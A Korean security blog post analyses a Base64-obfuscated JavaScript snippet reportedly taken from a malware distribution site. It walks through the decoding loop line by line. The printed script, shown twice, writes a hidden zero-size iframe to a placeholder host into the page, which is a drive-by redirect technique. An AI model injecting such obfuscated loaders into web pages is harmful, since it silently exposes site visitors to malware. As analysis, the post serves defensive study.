본문 바로가기

어느 한 분야를 전문적으로 연구함. 또는 그 분야./정보를 여러가지 위협으로부터 보호

Base64를 이용한 JavaScript 난독화


1. 개요


Base64 인코딩 알고리즘을 이용하여 JavaScript로 구현, 이를 난독화 형태로 사용 되는 것을 발견하였다. 발견된 소스코드에서 악성 소프트웨어 유포지로 XSS를 발생시키는 코드를 수정한 소스코드이다. (* 여기서 XSS는 피해자를 공격자가 설정한 사이트로 유도하는 스크립트를 사용한 것을 말한다.)


var k0e0y0S="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";var EmbR="PGlmcmFtZSBzcmM9Imh0dHA6Ly93d3cuZXhhbXBsZS5jby5rciIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZnJhbWVib3JkZXI9IjAiPjwvaWZyYW1lPg==";var AcR5="";var X9qV,sxY6,J0lf,wJDZ,CX8e,zRBG,n6dE="";var i=0;var base64test=/[^A-Za-z0-9\+\/\=]/g;EmbR=EmbR.replace(/[^A-Za-z0-9\+\/\=]/g,"");do{wJDZ=k0e0y0S.indexOf(EmbR.charAt(i++));CX8e=k0e0y0S.indexOf(EmbR.charAt(i++));zRBG=k0e0y0S.indexOf(EmbR.charAt(i++));n6dE=k0e0y0S.indexOf(EmbR.charAt(i++));X9qV=(wJDZ<<2)|(CX8e>>4);sxY6=((CX8e&15)<<4)|(zRBG>>2);J0lf=((zRBG&3)<<6)|n6dE;AcR5=AcR5+String.fromCharCode(X9qV);if(zRBG!=64){AcR5=AcR5+String.fromCharCode(sxY6);}if(n6dE!=64){AcR5=AcR5+String.fromCharCode(J0lf);}X9qV=sxY6=J0lf="";wJDZ=CX8e=zRBG=n6dE="";}while(i<EmbR.length);document.write(unescape(AcR5));


2. 가독성을 높인 소스코드 및 알고리즘 분석



var k0e0y0S="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
var EmbR="PGlmcmFtZSBzcmM9Imh0dHA6Ly93d3cuZXhhbXBsZS5jby5rciIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZn
JhbWVib3JkZXI9IjAiPjwvaWZyYW1lPg==";
var AcR5="";
var X9qV,sxY6,J0lf,wJDZ,CX8e,zRBG,n6dE="";
var i=0;
var base64test=/[^A-Za-z0-9\+\/\=]/g;
EmbR=EmbR.replace(/[^A-Za-z0-9\+\/\=]/g,"");// 정규표현식으로 Base64에서 사용하지 않는 단어들을 null로 치환
do{
    wJDZ=k0e0y0S.indexOf(EmbR.charAt(i++));
    CX8e=k0e0y0S.indexOf(EmbR.charAt(i++));
    zRBG=k0e0y0S.indexOf(EmbR.charAt(i++));
    n6dE=k0e0y0S.indexOf(EmbR.charAt(i++)); 
// 풀고자 하는 Base64의 값을 한 글자씩 떼어내어 K0e0y0S 값과 비교하여 같은 글자의 순서 번호를 추출한낸다.
    X9qV=(wJDZ<<2)|(CX8e>>4);
    sxY6=((CX8e&15)<<4)|(zRBG>>2);
    J0lf=((zRBG&3)<<6)|n6dE; // 추출한 값들을 비트연산을 통해 Base64 디코딩하는 과정
    AcR5=AcR5+String.fromCharCode(X9qV);
    if(zRBG!=64){
        AcR5=AcR5+String.fromCharCode(sxY6);
    }
    if(n6dE!=64){
        AcR5=AcR5+String.fromCharCode(J0lf);
    } // AcR5에 비트 연산 후 값들을 fromCharCode를 통해 문자열로 저장한다. 
// 여기서 64는 base64 알고리즘 특성상 발생하는 '=' 문자의 비트연산 후 ASKII DEC의 값이다. 
//비트연산 후 64값은 fromCharCode를 통해 문자로 변환할 필요가 없다는 것을 말한다.
    X9qV=sxY6=J0lf="";
    wJDZ=CX8e=zRBG=n6dE="";
}while(i<EmbR.length);
document.write(unescape(AcR5));


3. 난독화 해제



var EmbR="PGlmcmFtZSBzcmM9Imh0dHA6Ly93d3cuZXhhbXBsZS5jby5rciIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZn
JhbWVib3JkZXI9IjAiPjwvaWZyYW1lPg==";


EmbR을 Base64 디코더를 통해 풀면 쉽게 풀린다.



티스토리 툴바